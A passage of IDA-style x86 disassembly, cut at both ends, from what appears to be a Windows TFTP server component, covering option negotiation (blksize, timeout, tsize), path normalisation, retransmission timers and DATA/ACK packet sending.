lea ebx, [ebp+var_FFB8]
mov edx, off_1005CC0[eax*4]
xor eax, eax
mov edi, edx
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov edi, edx
loc_10023A2: ; CODE XREF: sub_100230A+5Dj
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
push 10h ; tolen
push [ebp+to] ; to
not ecx
dec ecx
push eax ; flags
add ecx, 5
lea eax, [ebp+buf]
push ecx ; len
push eax ; buf
push [ebp+s] ; s
call ds:sendto ; sendto
cmp eax, 0FFFFFFFFh
jnz short loc_10023D1
call ds:WSAGetLastError ; WSAGetLastError
loc_10023D1: ; CODE XREF: sub_100230A+BFj
pop edi
pop esi
pop ebx
leave
retn 14h
sub_100230A endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_10023D8(int, char *Str1, int, int, int, int)
sub_10023D8 proc near ; CODE XREF: sub_1002F31+302p
; sub_100333A+26Dp
arg_0 = dword ptr 4
Str1 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
mov eax, [esp+arg_0]
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_10]
mov dword ptr [eax+20h], 200h
mov dword ptr [eax+28h], 0Ah
mov eax, [esp+0Ch+arg_14]
push edi
mov ecx, 3FEFh
and dword ptr [eax], 0
xor eax, eax
mov edi, esi
push 6 ; hostshort
rep stosd
call ds:htons ; htons
mov [esi], ax
lea ebx, [esi+2]
mov ebp, [esp+10h+Str1]
cmp byte ptr [ebp+0], 0
jz loc_10025E4
loc_1002420: ; CODE XREF: sub_10023D8+202j
mov esi, ds:_stricmp
push offset Str2 ; "blksize"
push ebp ; Str1
call esi ; _stricmp
pop ecx
test eax, eax
pop ecx
jnz short loc_1002498
mov edi, ebp
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
push 8
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop esi
add ebp, esi
add ebx, esi
push ebp ; Str
call ds:atoi ; atoi
pop ecx
cmp eax, esi
mov ecx, [esp+10h+arg_0]
mov [ecx+20h], eax
jb loc_10025FD
cmp eax, 0FFB8h
ja loc_10025FD
cmp eax, 5B0h
jnz short loc_100248F
mov dword ptr [ecx+20h], 200h
sub ebx, esi
jmp loc_10025C6
; ---------------------------------------------------------------------------
loc_100248F: ; CODE XREF: sub_10023D8+A7j
push 0Ah
push ebx
push eax
jmp loc_1002597
; ---------------------------------------------------------------------------
loc_1002498: ; CODE XREF: sub_10023D8+5Aj
push offset aTimeout_0 ; "timeout"
push ebp ; Str1
call esi ; _stricmp
pop ecx
test eax, eax
pop ecx
jnz short loc_100251A
mov edi, ebp
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
add ebp, 8
mov eax, ecx
mov esi, edi
mov edi, ebx
push ebp ; Str
shr ecx, 2
rep movsd
mov ecx, eax
add ebx, 8
and ecx, 3
rep movsb
call ds:atoi ; atoi
pop ecx
mov ecx, [esp+10h+arg_0]
push 1
pop edx
cmp eax, edx
mov [ecx+28h], eax
jl loc_1002602
cmp eax, 0FFh
jg loc_1002602
mov eax, [esp+10h+arg_14]
mov edi, ebp
or ecx, 0FFFFFFFFh
mov [eax], edx
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov edi, ebp
jmp loc_10025A2
; ---------------------------------------------------------------------------
loc_100251A: ; CODE XREF: sub_10023D8+CCj
push offset aTsize ; "tsize"
push ebp ; Str1
call esi ; _stricmp
pop ecx
mov edi, ebp
test eax, eax
pop ecx
jnz loc_10025B2
or edx, 0FFFFFFFFh
xor eax, eax
mov ecx, edx
add ebp, 6
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
add ebx, 6
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
cmp [esp+10h+arg_8], 2
rep movsb
jnz short loc_100258D
mov edi, ebp
mov ecx, edx
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov edi, ebp
mov ecx, edx
repne scasb
not ecx
dec ecx
mov edi, ebp
lea ebx, [ebx+ecx+1]
mov ecx, edx
jmp short loc_10025CB
; ---------------------------------------------------------------------------
loc_100258D: ; CODE XREF: sub_10023D8+180j
mov eax, [esp+10h+arg_0]
push 0Ah ; Radix
push ebx ; DstBuf
push dword ptr [eax+24h] ; Val
loc_1002597: ; CODE XREF: sub_10023D8+BBj
call ds:_itoa ; _itoa
add esp, 0Ch
mov edi, ebx
loc_10025A2: ; CODE XREF: sub_10023D8+13Dj
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
lea ebx, [ebx+ecx+1]
jmp short loc_10025C6
; ---------------------------------------------------------------------------
loc_10025B2: ; CODE XREF: sub_10023D8+150j
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
cmp [ebp+ecx+1], al
lea ebp, [ebp+ecx+1]
jz short loc_10025E0
loc_10025C6: ; CODE XREF: sub_10023D8+B2j
; sub_10023D8+1D8j
mov edi, ebp
or ecx, 0FFFFFFFFh
loc_10025CB: ; CODE XREF: sub_10023D8+1B3j
xor eax, eax
repne scasb
not ecx
dec ecx
cmp [ebp+ecx+1], al
lea ebp, [ebp+ecx+1]
jnz loc_1002420
loc_10025E0: ; CODE XREF: sub_10023D8+1ECj
mov esi, [esp+10h+arg_10]
loc_10025E4: ; CODE XREF: sub_10023D8+42j
mov eax, [esp+10h+arg_C]
sub ebx, esi
cmp ebx, 2
mov [eax], ebx
jnz short loc_10025F4
and dword ptr [eax], 0
loc_10025F4: ; CODE XREF: sub_10023D8+217j
xor eax, eax
loc_10025F6: ; CODE XREF: sub_10023D8+244j
pop edi
pop esi
pop ebp
pop ebx
retn 18h
; ---------------------------------------------------------------------------
loc_10025FD: ; CODE XREF: sub_10023D8+91j
; sub_10023D8+9Cj
push 0
push esi
jmp short loc_1002606
; ---------------------------------------------------------------------------
loc_1002602: ; CODE XREF: sub_10023D8+105j
; sub_10023D8+110j
push 0 ; int
push 8 ; hostshort
loc_1002606: ; CODE XREF: sub_10023D8+228j
push dword ptr [ecx+8] ; s
lea eax, [ecx+0FFF1h]
add ecx, 0Ch
push eax ; int
push ecx ; to
call sub_100230A
or eax, 0FFFFFFFFh
jmp short loc_10025F6
sub_10023D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100261E proc near ; CODE XREF: sub_1002F31+130p
; sub_100333A+150p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov al, [ebx]
mov ecx, ebx
mov esi, ebx
mov [ebp+arg_0], ebx
loc_1002630: ; CODE XREF: sub_100261E+22j
test al, al
jz short loc_1002642
cmp al, 5Ch
jz short loc_100263C
cmp al, 2Fh
jnz short loc_1002642
loc_100263C: ; CODE XREF: sub_100261E+18j
mov al, [ecx+1]
inc ecx
jmp short loc_1002630
; ---------------------------------------------------------------------------
loc_1002642: ; CODE XREF: sub_100261E+14j
; sub_100261E+1Cj ...
mov al, [ecx]
test al, al
jz loc_10026E4
cmp al, 2Eh
jnz loc_100271C
mov dl, [ecx+1]
lea edi, [ecx+1]
cmp dl, 5Ch
jz loc_1002718
cmp dl, 2Fh
jz loc_1002718
cmp dl, al
jnz loc_1002703
mov dl, [ecx+2]
lea edi, [ecx+2]
cmp dl, 5Ch
jz short loc_1002684
cmp dl, 2Fh
jnz short loc_1002703
loc_1002684: ; CODE XREF: sub_100261E+5Fj
dec esi
mov ecx, edi
dec esi
cmp esi, ebx
jbe short loc_10026E0
loc_100268C: ; CODE XREF: sub_100261E+7Bj
mov al, [esi]
cmp al, 5Ch
jz short loc_100269B
cmp al, 2Fh
jz short loc_100269B
dec esi
cmp esi, ebx
jnb short loc_100268C
loc_100269B: ; CODE XREF: sub_100261E+72j
; sub_100261E+76j
inc esi
loc_100269C: ; CODE XREF: sub_100261E+8Ej
; sub_100261E+EEj ...
cmp esi, [ebp+arg_0]
jbe short loc_10026AE
cmp byte ptr [esi-1], 20h
lea eax, [esi-1]
jnz short loc_10026AE
mov esi, eax
jmp short loc_100269C
; ---------------------------------------------------------------------------
loc_10026AE: ; CODE XREF: sub_100261E+81j
; sub_100261E+8Aj
mov al, [ecx]
cmp al, 5Ch
jz short loc_10026B8
cmp al, 2Fh
jnz short loc_1002642
loc_10026B8: ; CODE XREF: sub_100261E+94j
cmp esi, ebx
jz short loc_10026CB
mov al, [esi-1]
cmp al, 5Ch
jz short loc_10026CB
cmp al, 2Fh
jz short loc_10026CB
mov byte ptr [esi], 5Ch
inc esi
loc_10026CB: ; CODE XREF: sub_100261E+9Cj
; sub_100261E+A3j ...
inc ecx
jz short loc_10026D8
mov al, [ecx]
cmp al, 5Ch
jz short loc_10026CB
cmp al, 2Fh
jz short loc_10026CB
loc_10026D8: ; CODE XREF: sub_100261E+AEj
mov [ebp+arg_0], esi
jmp loc_1002642
; ---------------------------------------------------------------------------
loc_10026E0: ; CODE XREF: sub_100261E+6Cj
xor eax, eax
jmp short loc_10026FC
; ---------------------------------------------------------------------------
loc_10026E4: ; CODE XREF: sub_100261E+28j
mov cl, [esi-1]
lea eax, [esi-1]
cmp cl, 5Ch
jz short loc_10026F4
cmp cl, 2Fh
jnz short loc_10026F6
loc_10026F4: ; CODE XREF: sub_100261E+CFj
mov esi, eax
loc_10026F6: ; CODE XREF: sub_100261E+D4j
and byte ptr [esi], 0
push 1
pop eax
loc_10026FC: ; CODE XREF: sub_100261E+C4j
pop edi
pop esi
pop ebx
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_1002703: ; CODE XREF: sub_100261E+50j
; sub_100261E+64j ...
mov [esi], al
mov al, [ecx+1]
inc esi
inc ecx
test al, al
jz short loc_100269C
cmp al, 5Ch
jz short loc_100269C
cmp al, 2Fh
jnz short loc_1002703
jmp short loc_100269C
; ---------------------------------------------------------------------------
loc_1002718: ; CODE XREF: sub_100261E+3Fj
; sub_100261E+48j
mov ecx, edi
jmp short loc_100269C
; ---------------------------------------------------------------------------
loc_100271C: ; CODE XREF: sub_100261E+30j
; sub_100261E+11Dj
test al, al
jz loc_100269C
cmp al, 5Ch
jz loc_100269C
cmp al, 2Fh
jz loc_100269C
mov [esi], al
mov al, [ecx+1]
inc esi
inc ecx
jmp short loc_100271C
sub_100261E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_100273D(void *Src, int, int)
sub_100273D proc near ; CODE XREF: sub_1002F31+18Cp
; sub_100333A+197p
Src = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_8]
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
mov edx, [ebp+Src]
repne scasb
not ecx
dec ecx
mov edi, edx
mov ebx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
cmp byte ptr [ebx+esi-1], 5Ch
mov edi, ecx
setz al
xor ecx, ecx
cmp byte ptr [edx], 5Ch
setz cl
test eax, eax
jnz short loc_1002784
test ecx, ecx
jnz short loc_1002784
mov [ebp+arg_8], 1
jmp short loc_1002791
; ---------------------------------------------------------------------------
loc_1002784: ; CODE XREF: sub_100273D+38j
; sub_100273D+3Cj
and [ebp+arg_8], 0
test eax, eax
jz short loc_1002791
test ecx, ecx
jz short loc_1002791
dec ebx
loc_1002791: ; CODE XREF: sub_100273D+45j
; sub_100273D+4Dj ...
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_4]
add eax, edi
add eax, ebx
dec ecx
cmp eax, ecx
jbe short loc_10027A4
xor eax, eax
jmp short loc_10027DA
; ---------------------------------------------------------------------------
loc_10027A4: ; CODE XREF: sub_100273D+61j
mov eax, [ebp+arg_8]
inc edi
add eax, ebx
push edi ; Size
add eax, edx
push edx ; Src
push eax ; Dst
call ds:memmove ; memmove
mov eax, [ebp+Src]
mov ecx, ebx
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd
mov ecx, edx
add esp, 0Ch
and ecx, 3
cmp [ebp+arg_8], 0
rep movsb
jz short loc_10027D7
mov byte ptr [ebx+eax], 5Ch
loc_10027D7: ; CODE XREF: sub_100273D+94j
push 1
pop eax
loc_10027DA: ; CODE XREF: sub_100273D+65j
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_100273D endp
; =============== S U B R O U T I N E =======================================
sub_10027E1 proc near ; CODE XREF: sub_1002B5E+C7p
; sub_1002F31+36Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov ecx, [esi+10024h]
lea eax, [esi+10024h]
test ecx, ecx
jz short loc_1002817
and dword ptr [eax], 0
mov eax, [esp+8+arg_4]
and word ptr [esi+10014h], 0
mov [esi+10020h], ecx
mov eax, [eax+20h]
mov [esi+1001Ch], eax
jmp short loc_1002877
; ---------------------------------------------------------------------------
loc_1002817: ; CODE XREF: sub_10027E1+14j
mov edi, ds:htons
push 3 ; hostshort
call edi ; htons
mov [esi+38h], ax
mov ax, [esi+10014h]
push eax ; hostshort
call edi ; htons
mov [esi+3Ah], ax
mov eax, [esp+8+arg_4]
push dword ptr [eax+20h]
lea eax, [esi+3Ch]
push eax
push dword ptr [esi+1002Ch]
call ds:_read ; _read
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [esi+1001Ch], eax
jnz short loc_100286E
mov esi, ds:_errno
call esi ; _errno
call esi ; _errno
push dword ptr [eax] ; dwErrCode
call ds:SetLastError
xor eax, eax
jmp short loc_100287A
; ---------------------------------------------------------------------------
loc_100286E: ; CODE XREF: sub_10027E1+75j
add eax, 4
mov [esi+10020h], eax
loc_1002877: ; CODE XREF: sub_10027E1+34j
push 1
pop eax
loc_100287A: ; CODE XREF: sub_10027E1+8Bj
pop edi
pop esi
retn 8
sub_10027E1 endp
; =============== S U B R O U T I N E =======================================
sub_100287F proc near ; CODE XREF: sub_1002F31+2C6p
; sub_100333A+2CDp
arg_0 = dword ptr 4
push esi
mov esi, offset CriticalSection
push esi ; lpCriticalSection
call ds:EnterCriticalSection
mov ecx, dword_1006098
push esi ; lpCriticalSection
mov eax, [esp+8+arg_0]
mov [eax], ecx
mov dword ptr [eax+4], offset dword_1006098
mov [ecx+4], eax
mov dword_1006098, eax
call ds:LeaveCriticalSection
push 1
pop eax
pop esi
retn 4
sub_100287F endp
; =============== S U B R O U T I N E =======================================
sub_10028B5 proc near ; CODE XREF: sub_1002A3D+Cp
; sub_1002EC8+8p ...
arg_0 = dword ptr 4
push ebx
mov ebx, ds:EnterCriticalSection
push esi
push edi
mov edi, offset CriticalSection
push edi ; lpCriticalSection
call ebx ; EnterCriticalSection
mov eax, dword_1006098
mov ecx, offset dword_1006098
loc_10028D0: ; CODE XREF: sub_10028B5+2Dj
cmp eax, ecx
jz short loc_10028F2
mov edx, [eax+8]
lea esi, [eax-18h]
cmp edx, [esp+0Ch+arg_0]
jz short loc_10028E4
mov eax, [eax]
jmp short loc_10028D0
; ---------------------------------------------------------------------------
loc_10028E4: ; CODE XREF: sub_10028B5+29j
push esi ; lpCriticalSection
call ebx ; EnterCriticalSection
push edi ; lpCriticalSection
call ds:LeaveCriticalSection
mov eax, esi
jmp short loc_10028FB
; ---------------------------------------------------------------------------
loc_10028F2: ; CODE XREF: sub_10028B5+1Dj
push edi ; lpCriticalSection
call ds:LeaveCriticalSection
xor eax, eax
loc_10028FB: ; CODE XREF: sub_10028B5+3Bj
pop edi
pop esi
pop ebx
retn 4
sub_10028B5 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_1002901(LPCRITICAL_SECTION lpCriticalSection)
sub_1002901 proc near ; CODE XREF: sub_100297A+Ap
lpCriticalSection= dword ptr 4
push esi
mov esi, [esp+4+lpCriticalSection]
mov eax, [esi+20h]
cmp eax, 0FFFFFFFFh
jz short loc_1002915
push eax ; s
call ds:closesocket ; closesocket
loc_1002915: ; CODE XREF: sub_1002901+Bj
mov eax, [esi+10004h]
test eax, eax
jz short loc_100292E
push 0
push eax
push dword_10060A0
call ds:RtlDeleteTimer ; RtlDeleteTimer
loc_100292E: ; CODE XREF: sub_1002901+1Cj
push 0
push dword ptr [esi+0FFFCh]
call ds:RtlDeregisterWaitEx ; RtlDeregisterWaitEx
push dword ptr [esi+0FFF8h] ; hObject
call ds:CloseHandle ; CloseHandle
push esi ; lpCriticalSection
call ds:DeleteCriticalSection
pop esi
retn 4
sub_1002901 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_1002953(void *Memory)
sub_1002953 proc near ; CODE XREF: sub_100297A+2Fp
; sub_100297A+37p
Memory = dword ptr 4
push esi
mov esi, [esp+4+Memory]
mov eax, [esi+1002Ch]
cmp eax, 0FFFFFFFFh
jz short loc_100296B
push eax
call ds:_close ; _close
pop ecx
loc_100296B: ; CODE XREF: sub_1002953+Ej
push esi ; Memory
call ds:free ; free
pop ecx
pop esi
retn 4
sub_1002953 endp
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_100297A(LPCRITICAL_SECTION Memory)
sub_100297A proc near ; CODE XREF: sub_10029BA+55p
Memory = dword ptr 4
push esi
mov esi, [esp+4+Memory]
test esi, esi
jz short loc_10029B6
push esi ; lpCriticalSection
call sub_1002901
mov eax, [esi+24h]
dec eax
jz short loc_10029B0
dec eax
jz short loc_10029A8
dec eax
jz short loc_10029A0
dec eax
jnz short loc_10029B6
push esi
call nullsub_1
jmp short loc_10029B6
; ---------------------------------------------------------------------------
loc_10029A0: ; CODE XREF: sub_100297A+19j
push esi
call nullsub_1
jmp short loc_10029B6
; ---------------------------------------------------------------------------
loc_10029A8: ; CODE XREF: sub_100297A+16j
push esi ; Memory
call sub_1002953
jmp short loc_10029B6
; ---------------------------------------------------------------------------
loc_10029B0: ; CODE XREF: sub_100297A+13j
push esi ; Memory
call sub_1002953
loc_10029B6: ; CODE XREF: sub_100297A+7j
; sub_100297A+1Cj ...
pop esi
retn 4
sub_100297A endp
; =============== S U B R O U T I N E =======================================
sub_10029BA proc near ; DATA XREF: sub_10018DB+98o
push ebx
mov ebx, ds:EnterCriticalSection
push esi
push offset CriticalSection ; lpCriticalSection
call ebx ; EnterCriticalSection
mov esi, dword_1006098
cmp esi, offset dword_1006098
jz short loc_1002A28
push edi
push ebp
loc_10029D9: ; CODE XREF: sub_10029BA+6Aj
lea edi, [esi-18h]
push edi ; lpCriticalSection
call ebx ; EnterCriticalSection
mov ebp, [esi]
inc dword ptr [edi+10008h]
cmp dword ptr [edi+10008h], 4
lea eax, [edi+10008h]
push edi ; lpCriticalSection
jb short loc_1002A16
call ebx ; EnterCriticalSection
mov eax, [esi]
mov esi, [esi+4]
mov [esi], eax
mov [eax+4], esi
mov ax, [edi+2Ah]
push eax ; hostshort
call ds:htons ; htons
push edi ; Memory
call sub_100297A
jmp short loc_1002A1C
; ---------------------------------------------------------------------------
loc_1002A16: ; CODE XREF: sub_10029BA+3Bj
call ds:LeaveCriticalSection
loc_1002A1C: ; CODE XREF: sub_10029BA+5Aj
cmp ebp, offset dword_1006098
mov esi, ebp
jnz short loc_10029D9
pop ebp
pop edi
loc_1002A28: ; CODE XREF: sub_10029BA+1Bj
push offset CriticalSection ; lpCriticalSection
call ds:LeaveCriticalSection
call sub_1001A1F
pop esi
pop ebx
retn 8
sub_10029BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1002A3D proc near ; DATA XREF: sub_1002F31+341o
; sub_100333A+32Co
SystemTime = _SYSTEMTIME ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_10028B5
mov esi, eax
xor ebx, ebx
cmp esi, ebx
jz loc_1002B57
mov eax, [esi+1000Ch]
cmp eax, 0Ah
jnb loc_1002B0B
cmp eax, 5
jbe short loc_1002A8E
lea eax, [ebp+SystemTime]
push eax ; lpSystemTime
call ds:GetLocalTime ; GetLocalTime
mov ax, [esi+2Ah]
push eax ; netshort
call ds:ntohs ; ntohs
mov ax, [esi+3Ah]
push eax ; hostshort
call ds:htons ; htons
loc_1002A8E: ; CODE XREF: sub_1002A3D+2Fj
lea eax, [esi+28h]
push 10h ; tolen
push eax ; to
push ebx ; flags
push dword ptr [esi+10020h] ; len
lea eax, [esi+38h]
push eax ; buf
push dword ptr [esi+20h] ; s
call ds:sendto ; sendto
cmp eax, 0FFFFFFFFh
jnz short loc_1002AB3
call ds:WSAGetLastError ; WSAGetLastError
loc_1002AB3: ; CODE XREF: sub_1002A3D+6Ej
mov edi, [esi+10004h]
inc dword ptr [esi+1000Ch]
cmp edi, ebx
jz loc_1002B4C
cmp [esi+10028h], ebx
jnz short loc_1002AEA
mov eax, [esi+10000h]
lea ecx, [esi+10000h]
shl eax, 1
mov edx, 2710h
mov [ecx], eax
cmp eax, edx
jbe short loc_1002AEA
mov [ecx], edx
loc_1002AEA: ; CODE XREF: sub_1002A3D+90j
; sub_1002A3D+A9j
mov eax, [esi+10000h]
push eax
push eax
push edi
push dword_10060A0
call ds:RtlUpdateTimer ; RtlUpdateTimer
cmp eax, ebx
jz short loc_1002B4C
call ds:GetLastError
jmp short loc_1002B4C
; ---------------------------------------------------------------------------
loc_1002B0B: ; CODE XREF: sub_1002A3D+26j
cmp esi, ebx
jz short loc_1002B57
push offset aTimeout ; "Timeout"
push ebx ; hostshort
push dword ptr [esi+20h] ; s
lea eax, [esi+28h]
push ebx ; int
push eax ; to
call sub_100230A
mov eax, [esi+10004h]
lea edi, [esi+10004h]
cmp eax, ebx
jz short loc_1002B40
push ebx
push eax
push dword_10060A0
call ds:RtlDeleteTimer ; RtlDeleteTimer
loc_1002B40: ; CODE XREF: sub_1002A3D+F3j
mov [edi], ebx
mov dword ptr [esi+10008h], 4
loc_1002B4C: ; CODE XREF: sub_1002A3D+84j
; sub_1002A3D+C4j ...
cmp esi, ebx
jz short loc_1002B57
push esi ; lpCriticalSection
call ds:LeaveCriticalSection
loc_1002B57: ; CODE XREF: sub_1002A3D+17j
; sub_1002A3D+D0j ...
pop edi
pop esi
pop ebx
leave
retn 8
sub_1002A3D endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_1002B5E(LPCRITICAL_SECTION lpCriticalSection, int)
sub_1002B5E proc near ; CODE XREF: sub_1002EC8+3Dp
var_4 = dword ptr -4
lpCriticalSection= dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
mov ebx, ds:ntohs
push ebp
push esi
mov esi, [esp+10h+lpCriticalSection]
push edi
mov edi, [esp+14h+arg_4]
xor ebp, ebp
mov eax, [esi+10018h]
push 4 ; netshort
mov [esp+18h+var_4], ebp
mov [edi+20h], eax
call ebx ; ntohs
cmp [edi+34h], ax
jnz short loc_1002BA6
mov ax, [esi+10014h]
push eax ; netshort
call ebx ; ntohs
cmp [edi+36h], ax
jnz short loc_1002BA6
and dword ptr [esi+1000Ch], 0
push 1
pop ebp
jmp short loc_1002BCE
; ---------------------------------------------------------------------------
loc_1002BA6: ; CODE XREF: sub_1002B5E+2Aj
; sub_1002B5E+3Aj
mov ax, [edi+36h]
push eax ; netshort
call ebx ; ntohs
mov ax, [edi+34h]
push eax ; hostshort
call ds:htons ; htons
push 4 ; netshort
call ebx ; ntohs
cmp [edi+34h], ax
jnz short loc_1002BCE
mov ax, [esi+10014h]
dec ax
push eax ; netshort
call ebx ; ntohs
loc_1002BCE: ; CODE XREF: sub_1002B5E+46j
; sub_1002B5E+62j
test ebp, ebp
jz loc_1002C96
cmp dword ptr [esi+10030h], 0
jz short loc_1002C1C
mov eax, [esi+10004h]
lea edi, [esi+10004h]
test eax, eax
jz short loc_1002BFE
push 0
push eax
push dword_10060A0
call ds:RtlDeleteTimer ; RtlDeleteTimer
loc_1002BFE: ; CODE XREF: sub_1002B5E+8Fj
and dword ptr [edi], 0
mov dword ptr [esi+10008h], 4
loc_1002C0B: ; CODE XREF: sub_1002B5E+DBj
; sub_1002B5E+13Ej ...
push esi ; lpCriticalSection
call ds:LeaveCriticalSection
xor eax, eax
loc_1002C14: ; CODE XREF: sub_1002B5E+183j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_1002C1C: ; CODE XREF: sub_1002B5E+7Fj
inc word ptr [esi+10014h]
push edi
push esi
call sub_10027E1
mov ebp, eax
xor eax, eax
cmp ebp, eax
jnz short loc_1002C3B
mov ax, [edi+0Eh]
push eax ; netshort
call ebx ; ntohs
jmp short loc_1002C0B
; ---------------------------------------------------------------------------
loc_1002C3B: ; CODE XREF: sub_1002B5E+D2j
cmp [esi+10028h], eax
mov [esi+1000Ch], eax
mov [esi+10008h], eax
jnz short loc_1002C59
mov dword ptr [esi+10000h], 3E8h
loc_1002C59: ; CODE XREF: sub_1002B5E+EFj
mov ecx, [esi+10004h]
cmp ecx, eax
jz short loc_1002C78
mov eax, [esi+10000h]
push eax
push eax
push ecx
push dword_10060A0
call ds:RtlUpdateTimer ; RtlUpdateTimer
loc_1002C78: ; CODE XREF: sub_1002B5E+103j
mov eax, [esi+1001Ch]
cmp eax, [edi+20h]
jnb short loc_1002C9A
mov ax, [edi+0Eh]
push eax ; netshort
call ebx ; ntohs
mov dword ptr [esi+10030h], 1
jmp short loc_1002C9A
; ---------------------------------------------------------------------------
loc_1002C96: ; CODE XREF: sub_1002B5E+72j
mov ebp, [esp+14h+var_4]
loc_1002C9A: ; CODE XREF: sub_1002B5E+123j
; sub_1002B5E+136j
test ebp, ebp
jz loc_1002C0B
mov ax, [edi+0Eh]
push eax ; netshort
call ebx ; ntohs
add edi, 0Ch
push 10h ; tolen
push edi ; to
push 0 ; flags
push dword ptr [esi+10020h] ; len
lea eax, [esi+38h]
push eax ; buf
push dword ptr [esi+20h] ; s
call ds:sendto ; sendto
cmp eax, 0FFFFFFFFh
jnz loc_1002C0B
call ds:WSAGetLastError ; WSAGetLastError
test esi, esi
jz short loc_1002CDE
push esi ; lpCriticalSection
call ds:LeaveCriticalSection
loc_1002CDE: ; CODE XREF: sub_1002B5E+177j
push 1
pop eax
jmp loc_1002C14
sub_1002B5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_1002CE6(LPCRITICAL_SECTION lpCriticalSection, int)
sub_1002CE6 proc near ; CODE XREF: sub_1002EC8+34p
var_4 = dword ptr -4
lpCriticalSection= dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, ds:ntohs
push esi
mov esi, [ebp+lpCriticalSection]
push edi
mov edi, [ebp+arg_4]
push 3 ; netshort
mov eax, [esi+10018h]
mov [edi+20h], eax
call ebx ; ntohs
cmp [edi+34h], ax
jnz short loc_1002D3A
mov ax, [esi+10014h]
inc ax
push eax ; netshort
call ebx ; ntohs
cmp [edi+36h], ax
jnz short loc_1002D3A
inc word ptr [esi+10014h]
xor ebx, ebx
mov [ebp+var_4], 1
mov [esi+10008h], ebx
jmp short loc_1002D9D
; ---------------------------------------------------------------------------
loc_1002D3A: ; CODE XREF: sub_1002CE6+28j
; sub_1002CE6+3Aj
push 3 ; netshort
call ebx ; ntohs
cmp [edi+34h], ax
jnz short loc_1002D9B
mov ax, [esi+10014h]
push eax ; netshort
call ebx ; ntohs
cmp [edi+36h], ax
jnz short loc_1002D9B
mov ebx, ds:htons
push 4 ; hostshort
call ebx ; htons
mov [esi+38h], ax
mov ax, [esi+10014h]
push eax ; hostshort
call ebx ; htons
add edi, 0Ch
push 10h ; tolen
mov [esi+3Ah], ax
push edi ; to
push 0 ; flags
lea eax, [esi+38h]
push 4 ; len
push eax ; buf
push dword ptr [esi+20h] ; s
call ds:sendto ; sendto
cmp eax, 0FFFFFFFFh
jnz loc_1002EB3
call ds:WSAGetLastError ; WSAGetLastError
jmp loc_1002EB3
; ---------------------------------------------------------------------------
loc_1002D9B: ; CODE XREF: sub_1002CE6+5Cj
; sub_1002CE6+6Cj
xor ebx, ebx
loc_1002D9D: ; CODE XREF: sub_1002CE6+52j
cmp [ebp+var_4], ebx
jz short loc_1002DE4
lea eax, [ebp+arg_4]
push eax
mov eax, [edi+2Ch]
push dword ptr [esi+10030h]
sub eax, 4
push eax
lea eax, [edi+38h]
push eax
push dword ptr [esi+1002Ch]
call sub_100373A
cmp [ebp+var_4], ebx
mov [ebp+lpCriticalSection], eax
jz short loc_1002DE4
cmp eax, ebx
jge short loc_1002DF7
push ebx ; int
push 3 ; hostshort
push dword ptr [edi+8] ; s
lea eax, [edi+0FFF1h]
add edi, 0Ch
push eax ; int
push edi ; to
call sub_100230A
loc_1002DE4: ; CODE XREF: sub_1002CE6+BAj
; sub_1002CE6+E2j
cmp esi, ebx
jz short loc_1002DEF
push esi ; lpCriticalSection
call ds:LeaveCriticalSection
loc_1002DEF: ; CODE XREF: sub_1002CE6+100j
push 1
pop eax
jmp loc_1002EBC
; ---------------------------------------------------------------------------
loc_1002DF7: ; CODE XREF: sub_1002CE6+E6j
mov eax, [edi+2Ch]
sub eax, 4
cmp eax, [edi+20h]
